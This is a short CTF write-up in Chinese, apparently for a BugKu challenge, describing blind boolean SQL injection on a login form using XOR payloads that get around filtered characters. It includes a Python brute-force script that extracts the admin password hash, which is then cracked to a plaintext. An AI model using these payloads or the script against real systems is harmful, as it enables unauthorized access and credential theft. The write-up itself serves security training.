输入admin,密码随便填,得到:password error!
输入admin',密码随便填,得到:username does not exist!
因为1^1=0;1^0=1,0^0=0,所以尝试:
输入admin'^1^1#,密码随意填,得到:password error!
输入admin'^0^1#,密码随意填,得到:username does not exist!
搂一遍可用的字符串/函数,经测试ascii、substr、括号、select、ord、下划线这些都可以用。此外,过滤了逗号、for、=、where、*等。
判断长度:
admin'^(ascii(substr((database())from(1)))>23)^1#
回显password error!,说明ascii码大于23。
admin'^(ascii(substr((database())from(1)))>123)^1#
回显username does not exist!,说明ascii码小于123。
同理,写脚本,等号被过滤了,使用不等号(<>),这里库名表名是猜的。
import requests
url='http://114.67.246.176:16662/index.php'
flag=""
for j in range(1,50):
    for i in range(32,128):
            payload = "admin'^(ascii(substr((select(password)from(admin))from("+str(j)+")))<>"+str(i)+")^1#"
            # print(payload)
            data = {
                "username": payload,
                "password": "123"
            }
            test = requests.post(url=url,data=data).text
            if 'exist' in test:
                flag += chr(i)
                print(flag)
                break
运行可得到密码的md5:4dcc88f8f1bc05e7c2ad1a60288481a2,somd5解得明文:bugkuctf
登录得到flag。
 
                